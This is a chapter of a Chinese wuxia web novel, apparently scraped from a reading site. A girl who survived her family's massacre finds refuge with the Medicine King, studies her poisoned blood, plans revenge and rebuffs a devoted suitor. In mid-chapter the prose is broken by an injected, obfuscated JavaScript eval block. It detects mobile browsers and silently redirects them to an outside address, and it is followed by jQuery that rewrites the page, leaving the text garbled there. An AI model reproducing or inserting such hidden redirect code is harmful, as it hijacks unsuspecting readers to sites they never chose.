默认冷灰
24号文字
方正启体

3. 白芜婳的梦魇(下)

作者:荷桃粥本书字数:K更新时间:
    我带着雪腓兽走,它才三个月大,就会抓耗子,抓蛇,抓蝎了。


    瘴林这段路是我近年来走得最清楚、最轻松的。


    我终于知道往前该走到何处,该走到哪里去了。


    我穿过瘴林边界,就看见一老一小两个男人采药。


    假装晕倒,假装奄奄一息,只为吸引他们的注意。


    路上啊,听说这个人就是新的药王。


    无相陵,过蟒川,到灵蛇虫谷,到药王谷。


    若走官道,不过三月而已。


    我却如在地狱被烹过一遭。


    烹滚了约有六个月。


    我来到药王谷,人好多,大家对我很好。


    可我不相信任何人,我的仇人之一,可能隐藏在任何人中。


    我害怕自己乱编的身世有破绽,干脆闭口不语,装哑巴。


    更何况,我真的很忙。


    谁像我,每天晚上翻来覆去的梦魇,恨着这个世界。


    朝露晨霞的人间,原来有如斯似水长,荒凉恐怖的夜。


    那嗔恨嗜血的大力士,头戴兜帽的神秘人,声音沙哑的敏感鸟人。


    他们抓到父亲,父亲死了吗?


    他们为什么要血晶煞,想求得什么。


    林伯伯到底有没有出卖父亲。


    血晶煞如此奇异,闾公凭什么要把剩余蛊种托付爷爷?爷爷又在哪里。


    我时常想起小沙弥死去之前说的那句话。


    十方世界,真的有蓬岛吗。


    母亲一生善良,会去那里吗?


    我要去找她。


    只是我要先报仇,我想了一万种复仇的方法。


    可是,要能报血仇,大概净无秽垢之地,再无我容身之地。


    (八)


    药王谷太热闹,来往病人挣扎求生,陪同家属有哭有笑。


    我冷眼看过太多受病痛折磨的人,让我有时分不清,和他们比,谁更惨。


    而药王谷同门,脑子正常,和未央宫、慈航寺的人差不多。皆不是又凶又邪奸狠恶毒之辈。


    药王给我把脉,师兄劝我吃药。谷中温柔的姐姐们为我拿来好吃的东西。


    我却很想念家里的厨子叔叔。


    他和蔼的笑容总是带着酒窝,一双可爱又圆鼓鼓的手格外灵活,能将面团捏成兔子模样。


    多么好的一个人,什么也不知道。


    大力士也要杀了他。


    我再也吃不到他做的炸乳扇卤饵丝舂米线酸木瓜鱼了。


    无所谓,反正从此万千食物的味道,对我都一样。


    我没有了味觉,吃食只求快捷。鸡汤与黄连,几乎也没区别。


    我好像在慢慢长大,没有以前那样瘦弱了。靠夜里捡着记忆里残存的那些暗箭轻功口诀,勤加练习,也希望自己更茁壮。


    药王总是暗暗打量我,我都知道。


    有一天,药王突然将我带去一间密室。


    他竟然指着一幅画像,问我:


    你认识未央吗?


    你和她小时候长得一模一样。


    他可能见我容貌相似,年纪相仿,赌了一把。


    画像上的女子,临江川而飘水袖,眉眼栩栩鲜活。


    画她的人怎能料想她的结局,是被横劈肩肋而亡。


    我打量了药王很久,第一次开口对他说话:


    “我姓白,”


    “我叫白芜婳,”


    “未央宫的少宫主。”


    “你是谁?”


    “你怎么会有她的画像。”


    我泣不成声,一句歇一气。


    “她,是,我,母,亲。”


    说一字就忍不住掉一串眼泪,才勉强说完。


    药王平时那笑意微张的嘴,此刻咧成一张大口,哭相难看。


    “我是你舅舅。”


    我讲着被灭门经过,才说到一半,他已经哭到桌案上蜷成一团。


    药王指着画像之人,说,“你母亲出身濯水仙舫,天下第一的美人。原本我就不同意她嫁给你父亲那样的门派。还好,你和她长得好像。还好,你还活着。”


    原来药王也不是有血亲的舅舅,否则我怎会不知道。


    他不肯提太多与我母亲的往事,说等我长大了再告诉我。


    药王还说,“从今天起,我就是你的父亲,我们为她报仇。”


    我说,我有父亲。


    药王又说,那你便叫我师父吧。


    师父举办了一个灿烂的晚会,升腾的焰火好像在告慰天上的亡灵。


    他在所有弟子面前宣布,说要收我为养女,也是最后一位徒弟,以后药王谷是我的。


    以往关心我的同门,此时都用异样的眼光看我,再也不同情我了。


    可我又何惧他人怎论,由他们啊!


    师父问我,你想叫什么名字。


    我说,随便,但她不可以叫芜华。


    师父说,好,那芜华改名。


    芜华的脾气也闹得很大。


    我转念又想,太过在意,便是着相。


    只会妨碍我的计划。


    便让她叫芜华吧。


    反正飘零已久,无人会再深究我的姓名。


    (九)


    师父说,“你母亲幼时,待人亲切,善解人意,笑容极美。你却没笑过。”


    “你在人前,就叫长乐吧,前缘苦业当梦一场。余生还长,欢乐无尽期。”


    如何能当梦一场。


    我讨厌这个名字。


    我明明长夜睡不着,白天又困,给我开的安神药,全没用。我还试图用催眠术迷晕自己,一样是睡着了反复噩梦。


    有天外面闹哄哄的,我反而在晒太阳时睡得很好。


    老天奖励我在梦里梦到未央宫,那些我抓不住的眷恋。


    瀑布小谭,黄莺蝴蝶,仙鹤雪貂,狗狗猫猫。


    还有一只米米鹿。


    我还是那个动物苑苑长的女儿。


    从此以后我都这么白日睡觉,既然晚上我视力很好,我就拼命练功。


    药王谷有很多客死的病人,化作了山谷中草药的花泥。因此有一片坟岗。


    师父在其中为我母亲立了衣冠冢。


    没有骨肉,也没有她的衣物。药王捐了一张她的画像,我则捐了我的一缕头发。


    这大概是我今后拥有为数不多的,母亲留给我的东西了。


    ——除了她留给我的那只九音小铃铛,我戴得好好的。


    没有父亲的坟冢,因为我没有亲眼看见,便永远不相信他死了。


    坟岗静觅,我也常常在那里休息。


    一晃我在药王谷也呆了有些时日,说没有感情倒是假的。


    师兄师姐们来自五湖四海,成为药王亲传弟子学习医术。自然会谈起江湖门派。


    她们谈到无相陵,我又想听,又怕忍不住。


    果然她们无一不对无相陵的覆灭拍手称快。


    它消失了,对这个世界竟然无足轻重。


    或许白家,原本在世人眼里,就是养奇花异兽的邪门歪道。


    而白家的少宫主,也如妖女并无差别。


    唯一口碑较好的是我母亲,都惋惜她。


    明明美若仙子般水灵聪慧的人物,不好好呆在濯水仙舫,偏要从江宁富庶的水乡嫁到西南偏远之地。


    但我不会因为这些事情和她们较真。


    不能有任何暴露的可能,哪怕是一丝丝。


    这些屈辱委屈,和广袖残血,骨髓深蚀的痛,比起来,微不足道。


    我作息奇怪,又不爱和她们说话。


    以芜华师姐为首,对我的态度从关爱变成疏离,甚至讥讽。


    我想,这样也好。


    何必拖累他们呢。


    于是我打定主意要与药王谷切割。


    药王谷将来尚可在辛夷大师兄手下继续受世人敬仰着。


    (十)


    直到谷里来了个看病的,他的陪同家属似个憨包,差点被我的雪腓兽咬了。


    这个憨包叫贺兰澈,只看过我午睡时的样子就被迷住了。


    他心思单纯,虽然爱装作偶遇的模样出现在我面前,却行事有分寸。


    只是师父说,我和母亲实在像。如果见过她的人,一眼就能认出我。


    我便研究如何给自己改样子,不然出师未捷就被仇人认出怎么办。


    贺兰澈走了以后,经常给我写东西,送东西。


    我本来不想看,奈何他送得太频繁。


    他的信,有时读来满是诙谐,有时又饱含深情,可我实在无暇顾及他的心意。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141686|164508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>情爱于我而言,不过是缥缈云烟。我身负这蛊毒,血仇,未卜前程,他万不可沾染分毫。


    况且,我每天睡不好,还有那么多功课。支撑我的动力就是,即便累死,也要先报完血仇。


    一晃我在药王谷学医也近八年,和师父尝试研究我的血。


    血晶煞奇异,却是个贱蛊,平时麻痹我的味觉痛觉,一年却要挑个时间让我痛不欲生。


    这疼痛的感觉像是周身的血都被抽调流动,我能感觉血脉膨胀浮肿。要割破静脉,让它流出来一些,才觉得爽利。


    这些血,流动时比正常人血的颜色深,一股酸腥味。正常干涸会成晶状,深色,硬的。低温冷萃则是浅色硬晶。高温晒干是深色软晶。


    师父说,直接接触血晶,分别会引起血液凝结和内脏衰竭,口服、吸入、接触伤口都有可能。


    破解之法,需将冷热萃成的两种晶体研磨成粉,再取鲜血,铜锅熬煮至凝结。


    竟会变得鲜红欲滴,与正常血色无异,呈软体冻状,此时再晒干研磨成粉,就没有毒了。


    不知道最终影响它的。是那号称五毒秉性的恶人心头血所浇种的血莲,还是五种毒虫的毒液,亦或是那陨石化的矿。


    难不成真是那苗医蛊祝跳的大神?


    这样的粉,小剂量可以搭配不同草药治不同的病。尤其外伤,以血粉敷,见效很快。内伤也可以治,不过却要用鲜血化开,难免惹人怀疑。


    我曾将婆婆的话悉数讲给师父听。


    师父说,他的爷爷老药王,一生践行“大医精诚”,行医乡里一视同仁,皇室召任国子博士,他却无意功名财帛,任官不能随意,他只愿钻研医术,悬壶济世。


    而巫、医本出一处,但医术更多偏向实际有用,巫术更多来源臆想。


    老药王行医时,有的病人家属信巫更多,讳忌药方,不听医嘱平白耽误性命,他才忍痛彻底割除巫祝二科。


    修医之人只为悬壶济世,修巫之人却顾与小人谋利。


    当年闾公与老药王,用毒者、解毒人,互相如黑白棋子般沉迷对弈,最后却分道扬镳。


    血晶煞之构想,老药王本不当真,未曾想闾公真能制成。


    因此师父希望我学些真本事,不要用这血走捷径。


    可是有什么关系?治病救人非我本来志向。


    我中这毒煞,本就要报血海深仇。


    嗔恨嗜血的大力士,头戴兜帽的神秘人,声音沙哑的胡姓鸟人。


    师父说,傻子,瘸子,鸟人,即便这些年都没来过药王谷,难道他们还能终身不受伤,不求医吗?


    我与师父一直密谋筹备着。


    为免牵连与不必要的暴露,我的体质与身世,一直隐瞒很好。


    他原本承老药王的衣钵,专心做着他的神医。却为了我,开始接受各大门派亲密联络。


    我们准备好了,鹤州多鸟类,师父便在鹤州安排义诊。


    他坐镇谷中,赌上药王名信,广发邀贴务必让全天下都知道。


    我在尘世中,为外伤圣手之名造势,不信没人来。


    我们分别按计划钓着鱼。


    ……


    只是,贺兰澈总来扰乱我计划。


    他曾寄给过我一百余封无关紧要的信。


    他谈士农工商,王将卒盗,经史律卷,话本诗文。


    他的世界缤纷,宝珠玉盖,婚丧嫁娶,车马兵阵。


    他送来飞天仙子,芸芸美态,每座都是慈悲眼神。


    我都假装没看过。


    他还送来一叠敦煌画册,其中一卷,某页神女佛像背面,暗抄了一首小诗。


    “日月长相望,宛转不离心。见君行坐处,一似火烧身。”


    小心翼翼,墨痕轻浅。


    还有一封信中,他向我真诚交代他的来处。


    天水西域昭天楼,工于窟画造像,机关阵数。


    还问我的来处?


    前十年,我应是未央宫少宫主。


    十年前,便该死在无相陵的冬。


    如今又花十年,


    我应是从蟒川虫谷地狱爬出来的恶灵了。


    贺兰澈,


    你一身浩荡侠气,意气风发。


    自该去轻剑快马,奔赴朝霞。


    不必陪我下地狱。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)